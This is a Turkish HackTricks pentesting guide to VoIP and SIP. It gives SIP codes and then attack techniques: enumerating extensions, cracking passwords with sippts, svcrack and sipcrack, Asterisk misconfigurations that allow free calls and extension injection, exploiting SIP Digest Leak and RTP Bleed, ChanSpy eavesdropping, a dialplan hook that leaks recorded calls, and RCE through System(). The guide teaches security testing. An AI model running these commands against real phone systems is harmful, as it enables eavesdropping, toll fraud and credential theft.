.. | ||
basic-voip-protocols | ||
README.md |
VoIP Pentesting
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- Resmi PEASS & HackTricks ürünlerini edinin
- [The PEASS Family]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel NFT'lerimiz koleksiyonumuzu keşfedin
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
VoIP Temel Bilgiler
VoIP'nin nasıl çalıştığını öğrenmeye başlamak için şu adrese bakın:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
Temel Mesajlar
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
Yanıt Kodları
1xx—Geçici Yanıtlar
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xx—Başarılı Yanıtlar
200 OK
202 Accepted
204 No Notification
3xx—Yönlendirme Yanıtları
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xx—İstemci Hatası Yanıtları
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xx—Sunucu Hatası Yanıtları
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xx—Küresel Başarısızlık Yanıtları
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
VoIP Numaralama
Telefon Numaraları
Kırmızı Takım'ın yapabileceği ilk adımlardan biri, OSINT araçları, Google Aramaları veya web sayfalarını kazıyarak şirketle iletişim kurmak için kullanılabilecek telefon numaralarını aramaktır.
Telefon numaralarına sahip olduktan sonra operatörü tanımlamak için çevrimiçi hizmetler kullanabilirsiniz:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
Operatörün VoIP hizmetleri sağlayıp sağlamadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür.
Müzik gibi otomatik yanıtlar gibi şeyler genellikle VoIP kullanıldığını gösterir.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT bilgisi
VoIP yazılımının belirlenmesine yardımcı olan herhangi bir diğer OSINT numaralandırması, Kırmızı Takım için faydalı olacaktır.
Ağ Numaralandırma
nmap
, UDP hizmetlerini tarama yeteneğine sahiptir, ancak taranan UDP hizmetlerinin sayısı nedeniyle bu tür hizmetlerle çok yavaş ve çok doğru olmayabilir.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap
SIPVicious'tan (sudo apt install sipvicious
): Belirtilen ağdaki SIP hizmetlerini bulacaktır.svmap
,friendly-scanner
Kullanıcı Ajanını kullandığı için kolayca engellenebilir, ancak/usr/share/sipvicious/sipvicious
dizininden kodu değiştirerek bunu değiştirebilirsiniz.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS taraması
sippts'dan: SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Kolayca bir bağlantı noktası aralığı belirtmeyi, hem TCP hem de UDP'yi taramayı, başka bir yöntem kullanmayı sağlar (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir Kullanıcı Ajanı belirtmeyi mümkün kılar (ve daha fazlası).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
Ekstra Ağ Numaralandırma
PBX ayrıca şu gibi diğer ağ hizmetlerini de açıklayabilir:
- 69/UDP (TFTP): Firmware güncellemeleri
- 80 (HTTP) / 443 (HTTPS): Cihazı web üzerinden yönetmek için
- 389 (LDAP): Kullanıcı bilgilerini depolamak için alternatif
- 3306 (MySQL): MySQL veritabanı
- 5038 (Yönetici): Diğer platformlardan Asterisk'i kullanmaya izin verir
- 5222 (XMPP): Jabber kullanarak mesajlar
- 5432 (PostgreSQL): PostgreSQL veritabanı
- Ve diğerleri...
Yöntemler Numaralandırma
PBX'te kullanılabilir olan hangi yöntemlerin bulunabileceğini sippts üzerinden SIPPTS enumerate
kullanarak bulmak mümkündür.
sippts enumerate -i 10.10.0.10
Sunucu yanıtlarının analizi
Bize geri gönderilen sunucu başlıklarını analiz etmek, gönderdiğimiz mesaj türüne ve başlıklara bağlı olarak çok önemlidir. sippts 'den SIPPTS send
ile kişiselleştirilmiş mesajlar gönderebilir, tüm başlıkları manipüle edebilir ve yanıtı analiz edebiliriz.
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
Ayrıca sunucu websockets kullanıyorsa veri elde etmek mümkündür. sippts üzerinden SIPPTS wssend
kullanarak kişiselleştirilmiş WS mesajları gönderebiliriz.
sippts wssend -i 10.10.0.10 -r 443 -path /ws
Uzantı Numaralarının Sıralanması
PBX (Özel Şube Değişim) sistemlerinde uzantılar, bir organizasyonun veya işletmenin içindeki bireysel telefon hatları, cihazlar veya kullanıcılara atanan benzersiz iç tanımlayıcılara atıfta bulunur. Uzantılar, her kullanıcı veya cihaz için ayrı harici telefon numaralarına gerek kalmadan, aramaların organizasyon içinde verimli bir şekilde yönlendirilmesini sağlar.
svwar
from SIPVicious (sudo apt install sipvicious
):svwar
, ücretsiz bir SIP PBX uzantı hattı tarayıcısıdır. Kavram olarak, geleneksel wardialer'lar gibi çalışarak bir dizi uzantıyı tahmin ederek veya belirli bir uzantı listesini kullanarak çalışır.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS exten
sippts: SIPPTS exten, bir SIP sunucusundaki uzantıları tanımlar. Sipexten geniş ağ ve port aralıklarını kontrol edebilir.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: Metasploit ile uzantıları/kullanıcı adlarını da sıralayabilirsiniz:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX, Inter Asterisk Exchange protokolü kullanıcı adı brute-force numaralandırıcısıdır. enumIAX iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP Saldırıları
Şifre Kaba Kuvvet - çevrimiçi
Bir Kırmızı Takım, PBX'i ve bazı dahili kullanıcı adlarını keşfettikten sonra, bir sözlük kullanarak kimlik doğrulamasını kaba kuvvet saldırısıyla deneyebilir ve bir uzantıya REGISTER
yöntemi aracılığıyla kimlik doğrulamaya çalışabilir.
{% hint style="danger" %} Kullanıcı adının, uzantı ile aynı olabileceğini unutmayın, ancak bu uygulama PBX sistemi, yapılandırması ve organizasyonun tercihlerine bağlı olarak değişebilir...
Eğer kullanıcı adı uzantı ile aynı değilse, kullanıcı adını bulup kaba kuvvet uygulamak için belirlemeniz gerekecektir. {% endhint %}
svcrack
from SIPVicious (sudo apt install sipvicious
): SVCrack, bir PBX üzerinde belirli bir kullanıcı adı/uzantı için şifreyi kırmak için kullanılır.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrack
sippts'dan: SIPPTS rcrack, SIP hizmetleri için uzaktan şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birkaç kullanıcının şifrelerini test edebilir.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP Sniffing
Eğer Açık Wifi ağı içinde VoIP ekipmanı bulursanız, tüm bilgileri sızdırabilirsiniz. Dahası, daha kapalı bir ağda bulunuyorsanız (Ethernet üzerinden bağlı veya korumalı Wifi ile bağlı), ARPspoofing gibi MitM saldırıları gerçekleştirebilir ve bilgileri PBX ve ağ geçidi arasında sızdırmak için.
Ağ bilgileri arasında, ekipmanı yönetmek için web kimlik bilgileri, kullanıcı dahili numaraları, kullanıcı adı, IP adresleri, hatta karmalanmış şifreler ve konuşmayı dinlemek için çoğaltabileceğiniz RTP paketleri bulabilirsiniz.
Bu bilgilere ulaşmak için Wireshark, tcpdump gibi araçları kullanabilirsiniz, ancak VoIP konuşmalarını sızdırmak için özel olarak oluşturulmuş bir araç olan ucsniff kullanabilirsiniz.
{% hint style="danger" %}
SIP iletişiminde TLS kullanılıyorsa, SIP iletişimini açık bir şekilde göremezsiniz.
Aynı durum SRTP ve ZRTP kullanılıyorsa da geçerlidir, RTP paketleri açık metin olmayacaktır.
{% endhint %}
SIP kimlik bilgileri (Şifre Kaba Kuvvet - çevrimdışı)
Daha iyi anlamak için bu örneğe bakın: SIP KAYIT iletişimini daha iyi anlamak için SIP REGISTER örneğine bakın ve kimlik bilgilerinin nasıl gönderildiğini öğrenin.
sipdump
&sipcrack
, sipcrack'in bir parçası (apt-get install sipcrack
): Bu araçlar, SIP protokolü içindeki digest kimlik doğrulamalarını bir pcap dosyasından çıkarabilir ve kaba kuvvet uygulayabilir.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dump
sippts: SIPPTS dump, bir pcap dosyasından digest kimlik doğrulamalarını çıkarabilir.
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrack
sippts'dan: SIPPTS dcrack, SIPPTS dump ile elde edilen digest kimlik doğrulamalarını kırmak için bir araçtır.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tshark
sippts: SIPPTS tshark, bir PCAP dosyasından SIP protokolü verilerini çıkarır.
sippts tshark -f capture.pcap [-filter auth]
DTMF kodları
Ağ trafiğinde yalnızca SIP kimlik bilgileri değil, aynı zamanda örneğin sesli postaya erişmek için kullanılan DTMF kodları da bulunabilir.
Bu kodları INFO SIP mesajları içinde, ses içinde veya RTP paketleri içinde göndermek mümkündür. Kodlar RTP paketlerinin içindeyse, konuşmanın o kısmını kesip onları çıkarmak için multimo aracını kullanabilirsiniz:
multimon -a DTMF -t wac pin.wav
Ücretsiz Aramalar / Asterisk Bağlantıları Yanlış Yapılandırmaları
Asterisk'te bir bağlantıya belirli bir IP adresinden veya herhangi bir IP adresinden izin vermek mümkündür:
host=10.10.10.10
host=dynamic
Eğer bir IP adresi belirtilirse, ana makine zaman zaman REGISTER istekleri göndermek zorunda kalmayacak (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Bununla birlikte, VoIP sunucusundan gelen aramaları almak için açık bağlantılara izin veren portlara sahip olması gerekecek.
Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler:
type=user
: Kullanıcı sadece kullanıcı olarak arama alabilir.type=friend
: Peer olarak aramalar yapılabilir ve kullanıcı olarak alınabilir (uzantılarla kullanılır)type=peer
: Peer olarak arama yapılabilir ve alınabilir (SIP-trunk'larla kullanılır)
Ayrıca güvensiz değişkenle güven oluşturmak mümkündür:
insecure=port
: IP tarafından doğrulanmış peer bağlantılarına izin verir.insecure=invite
: INVITE mesajları için kimlik doğrulama gerektirmezinsecure=port,invite
: Her ikisi de
{% hint style="warning" %}
type=friend
kullanıldığında, host değişkeninin değeri kullanılmayacak, bu yüzden bir yönetici bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa, herkes ona bağlanabilecek.
Örneğin, bu yapılandırma savunmasız olacaktır:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
Ücretsiz Aramalar / Asterisk Bağlam Yanlış Yapılandırmaları
Asterisk'te bir bağlam (context), ilgili uzantıları, eylemleri ve kuralları gruplayan ve adlandırılmış bir konteyner veya bölümdür. Çağrı planı, bir Asterisk sisteminin temel bileşenidir, çünkü gelen ve giden aramaların nasıl ele alındığını ve yönlendirildiğini tanımlar. Bağlamlar, çağrı planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır.
Her bağlam genellikle extensions.conf
dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle belirtilir ve bağlam adı bunların içine alınır. Örneğin:
csharpCopy code[my_context]
İçerikte, uzantıları (çevrilen numaraların desenleri) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler çağrının nasıl işlendiğini belirler. Örneğin:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
Bu örnek, "my_context" adında basit bir bağlamı ve "100" uzantısını göstermektedir. Birisi 100 numarayı çevirdiğinde, arama cevaplanacak, bir karşılama mesajı çalınacak ve ardından arama sonlandırılacaktır.
Bu ise başka bir bağlamdır ve herhangi bir başka numarayı aramaya izin verir:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
Eğer yönetici varsayılan bağlamı şu şekilde tanımlarsa:
[default]
include => my_context
include => external
{% hint style="warning" %} Herhangi biri, sunucuyu kullanarak herhangi bir numarayı arayabilecek (ve sunucu yöneticisi aramanın bedelini ödeyecek). {% endhint %}
{% hint style="danger" %}
Ayrıca, varsayılan olarak sip.conf
dosyası allowguest=true
içerir, bu durumda herhangi bir kimlik doğrulaması olmadan herhangi bir numarayı aramak mümkün olacaktır.
{% endhint %}
SIPPTS invite
sippts: SIPPTS daveti, bir PBX sunucusunun kimlik doğrulamasız aramalara izin verip vermediğini kontrol eder. Eğer SIP sunucusu yanlış yapılandırılmışsa, harici numaralara arama yapmamıza izin verecektir. Ayrıca, aramayı ikinci bir harici numaraya aktarmamıza da izin verebilir.
Örneğin, Asterisk sunucunuzun kötü bir bağlam yapılandırması varsa, kimlik doğrulamasız INVITE isteğini kabul edebilirsiniz. Bu durumda, bir saldırgan herhangi bir kullanıcı/şifreyi bilmeden arama yapabilir.
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
Ücretsiz aramalar / Yanlış yapılandırılmış IVRS
IVRS, Interactive Voice Response System'in kısaltmasıdır, kullanıcıların ses veya tuş tonu girişleri aracılığıyla bilgisayarlaştırılmış bir sistemle etkileşime girmelerini sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girişlerini yakalama gibi çeşitli işlevler sunan otomatik çağrı işleme sistemleri oluşturmak için kullanılır.
VoIP sistemlerinde IVRS genellikle şunlardan oluşur:
- Sesli ipuçları: Kullanıcıları IVR menü seçenekleri ve talimatlarıyla yönlendiren önceden kaydedilmiş sesli mesajlar.
- DTMF (Dual-Tone Multi-Frequency) sinyallemesi: Telefon tuşlarına basarak oluşturulan tuş tonu girişleri, IVR menülerinde gezinmek ve giriş sağlamak için kullanılır.
- Çağrı yönlendirme: Kullanıcı girişine bağlı olarak çağrıları belirli departmanlara, ajanlara veya uzantılara yönlendirme.
- Kullanıcı girişi yakalama: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
- Harici sistemlerle entegrasyon: IVR sisteminin veritabanlarına veya diğer yazılım sistemlerine bağlanarak bilgilere erişme veya güncelleme, işlemler gerçekleştirme veya olayları tetikleme.
Asterisk VoIP sisteminde, IVR oluşturmak için extensions.conf
dosyası gibi çeşitli uygulamalar ve Background()
, Playback()
, Read()
ve daha fazlası gibi uygulamalar kullanabilirsiniz. Bu uygulamalar, sesli ipuçları çalmanıza, kullanıcı girişini yakalamanıza ve çağrı akışını kontrol etmenize yardımcı olur.
Hassas yapılandırma örneği
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
Önceki örnekte kullanıcıdan bir bölümü aramak için 1'i tuşlaması, başka bir bölümü aramak için 2'yi tuşlaması veya bildiği takdirde tam numarayı girmesi istenir.
Zafiyet, belirtilen uzantı uzunluğunun kontrol edilmemesidir, bu nedenle bir kullanıcı 5 saniyelik zaman aşımı süresince tam bir numara girebilir ve arama yapılacaktır.
Uzantı Enjeksiyonu
Bir uzantı kullanarak:
exten => _X.,1,Dial(SIP/${EXTEN})
${EXTEN}
'in çağrılacak olan dahili numara olduğu yerde, ext 101 tanıtıldığında şu olacaklar:
exten => 101,1,Dial(SIP/101)
Ancak, eğer ${EXTEN}
daha önceki Asterisk sürümlerinde olduğu gibi sadece sayılardan fazlasına izin veriyorsa, bir saldırgan 101&SIP123123123
gibi bir değer girebilir ve telefon numarası 123123123'ü arayabilir. Ve bu da sonuç olacaktır:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
Bu nedenle, 101
uzantısına yapılan bir arama ve 123123123
numarasına gönderilecek ve aramayı ilk alanın yalnızca kurulacağı... ancak bir saldırgan, gerçekleştirilen herhangi bir eşleşmeyi atlayan bir uzantı kullanırsa ve mevcut olmasa da, yalnızca istenilen numaraya arama enjekte edebilir.
SIPDigestLeak zafiyeti
SIP Digest Leak, donanım ve yazılım IP Telefonları ile telefon adaptörlerini (VoIP'ten analog'a) de içeren birçok SIP Telefonu etkileyen bir zafiyettir. Bu zafiyet, Şifreleme kimlik doğrulama yanıtının sızmasına izin verir, bu yanıt şifreden hesaplanır. Ardından çevrimdışı bir şifre saldırısı mümkün olur ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir.
**Buradan zafiyet senaryosu**:
- Bir IP Telefonu (kurban), herhangi bir bağlantı noktasında dinleme yapar (örneğin: 5060), telefon aramalarını kabul eder
- Saldırgan, IP Telefonuna bir INVITE gönderir
- Kurban telefon çalmaya başlar ve biri telefonu açar ve kapatır (çünkü karşı tarafta kimse telefonu açmaz)
- Telefon kapatıldığında, kurban telefon bir BYE gönderir
- Saldırgan bir 407 yanıtı verir ve kimlik doğrulaması isteyerek bir kimlik doğrulama meydan okuması yapar
- Kurban telefon, ikinci bir BYE ile kimlik doğrulama meydan okumasına yanıt verir
- Saldırgan ardından yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına karşı brute-force saldırısı başlatabilir ve şifreyi tahmin edebilir
- sippts'den SIPPTS sızıntısı:** SIPPTS sızıntısı, birçok SIP Telefonunu etkileyen SIP Digest Leak zafiyetini sömürür. Çıktı, SIPPTS dcrack veya SipCrack aracını kullanarak brute-force saldırısı yapmak için SipCrack formatında kaydedilebilir.
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call, bir web kullanıcısının (örneğin bir ürüne ilgi duyan) aranmak için telefon numarasını tanıtmasına olanak tanır. Daha sonra bir reklam aranacak ve kullanıcı telefonu açtığında kullanıcı arama yapılacak ve ajanla bağlantı kurulacak.
Bunun için yaygın bir Asterisk profili:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- Önceki profil, BİR IP adresinin bağlanmasına izin veriyor (şifre biliniyorsa).
- Daha önce belirtildiği gibi bir arama düzenlemek için okuma izinlerine gerek yoktur ve sadece yazma izni olan originate gereklidir.
Bu izinlerle, şifreyi bilen herhangi bir IP adresi bağlanabilir ve çok fazla bilgi çıkarabilir, örneğin:
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
Daha fazla bilgi veya eylem istenebilir.
Kulak Misafiri Olma
Asterisk'te, ChanSpy
komutunu kullanarak **izlenecek uzantı(lar)**ı belirterek (veya hepsini) gerçekleşen konuşmaları dinlemek mümkündür. Bu komut bir uzantıya atanmalıdır.
Örneğin, exten => 333,1,ChanSpy('all',qb)
komutu, eğer 333 numaralı uzantıyı ararsanız, tüm uzantıları izleyeceğini, yeni bir konuşma başladığında (b
) sessiz modda (q
) dinlemeye başlayacağını belirtir çünkü etkileşime girmek istemeyiz. Bir konuşmadan diğerine geçmek için *
tuşuna basabilir veya uzantı numarasını işaretleyebilirsiniz.
Ayrıca, yalnızca bir uzantıyı izlemek için ExtenSpy
kullanmak da mümkündür.
Konuşmaları dinlemek yerine, bunları dosyalara kaydetmek için aşağıdaki gibi bir uzantı kullanmak da mümkündür:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
Aramalar /tmp
dizininde kaydedilecektir.
Ayrıca Asterisk'in kapanırken aramayı sızdıracak bir betik çalıştırmasını bile yapabilirsiniz.
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed güvenlik açığı
RTCPBleed, 2017 yılında yayınlanan Asterisk tabanlı VoIP sunucularını etkileyen ciddi bir güvenlik sorunudur. Bu zafiyet, VoIP konuşmalarını taşıyan RTP (Gerçek Zamanlı Protokol) trafiğinin, İnternet'teki herhangi bir kişi tarafından yakalanıp yönlendirilmesine izin verir. Bu durum, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamasını atlamasından kaynaklanmaktadır.
RTP vekilleri, iki veya daha fazla taraf arasında RTP akışlarını vekilleştirerek RTC sistemlerini etkileyen NAT kısıtlamaları ile başa çıkmaya çalışır. NAT devrede olduğunda, RTP vekil yazılımı genellikle sinyalizasyon aracılığıyla alınan RTP IP ve port bilgilerine güvenemez. Bu nedenle, birçok RTP vekili, bu tür IP ve port çiftinin otomatik olarak öğrenildiği bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portu yanıtlanması gereken IP ve port olarak işaretleyerek yapılır. Bu mekanizma, genellikle "öğrenme modu" olarak adlandırılabilir ve herhangi bir kimlik doğrulama türünden yararlanmaz. Bu nedenle saldırganlar, RTP trafiğini RTP vekiline gönderebilir ve meşru kullanıcılara gönderilmesi gereken vekilleştirilmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed adı verilir çünkü saldırganlara meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını alabilmelerine izin verir.
RTP vekillerinin ve RTP yığınlarının ilginç bir davranışı da bazen, RTP Bleed'e duyarlı olmasalar bile, herhangi bir kaynaktan gelen RTP paketlerini kabul edecek, iletecek ve/veya işleyeceklerdir. Bu nedenle saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine izin verebilecek RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu adı verilir çünkü mevcut RTP akışlarına yasal olmayan RTP paketlerinin enjekte edilmesine izin verir. Bu zafiyet hem RTP vekillerinde hem de uç noktalarda bulunabilir.
Asterisk ve FreePBX geleneksel olarak NAT=yes
ayarını kullanmıştır, bu da RTP trafiğinin kimlik doğrulamasını atlamasına olanak tanır ve bu da çağrılarda ses olmamasına veya tek yönlü ses olmasına neden olabilir.
Daha fazla bilgi için https://www.rtpbleed.com/
- sippts 'den
SIPPTS rtpbleed
:** SIPPTS rtpbleed, RTP Bleed zafiyetini göndererek RTP akışlarını tespit eder.
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleed
sippts: SIPPTS rtcpbleed, RTP Bleed zafiyetini RTCP akışları göndererek tespit eder.
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedflood
sippts: SIPPTS rtpbleedflood, RTP akışları göndererek RTP Sızıntısı zafiyetini sömürür.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinject
sippts: SIPPTS rtpbleedinject, RTP Bleed zafiyetini enjekte ederek bir ses dosyası (WAV formatında) enjekte eder.
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
Uzaktan Kod Çalıştırma (RCE)
Asterisk'te, bir şekilde dahili numara kuralları ekleyip yeniden yüklemeyi başarırsanız (örneğin, zayıf bir web yönetici sunucusunu ele geçirerek), System
komutunu kullanarak RCE elde etmek mümkündür.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
Shell
komutu, gerektiğinde sistem komutlarını çalıştırmak için System
yerine kullanılabilecek bir komuttur.
{% hint style="warning" %}
Sunucu, System
komutunda belirli karakterlerin kullanımını engelliyorsa (örneğin Elastix'te), web sunucunun sistemin içinde dosya oluşturmaya izin verip vermediğini kontrol edin (örneğin Elastix veya trixbox'ta) ve bunu kullanarak bir arka kapı betiği oluşturun ve ardından o betiği çalıştırmak için System
komutunu kullanın.
{% endhint %}
İlginç yerel dosyalar ve izinler
sip.conf
-> SIP kullanıcılarının şifresini içerir.- Asterisk sunucusu root olarak çalışıyorsa, root hesabını tehlikeye atabilirsiniz.
- mysql root kullanıcısının muhtemelen herhangi bir şifresi yoktur.
- Bu, yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
FreePBX
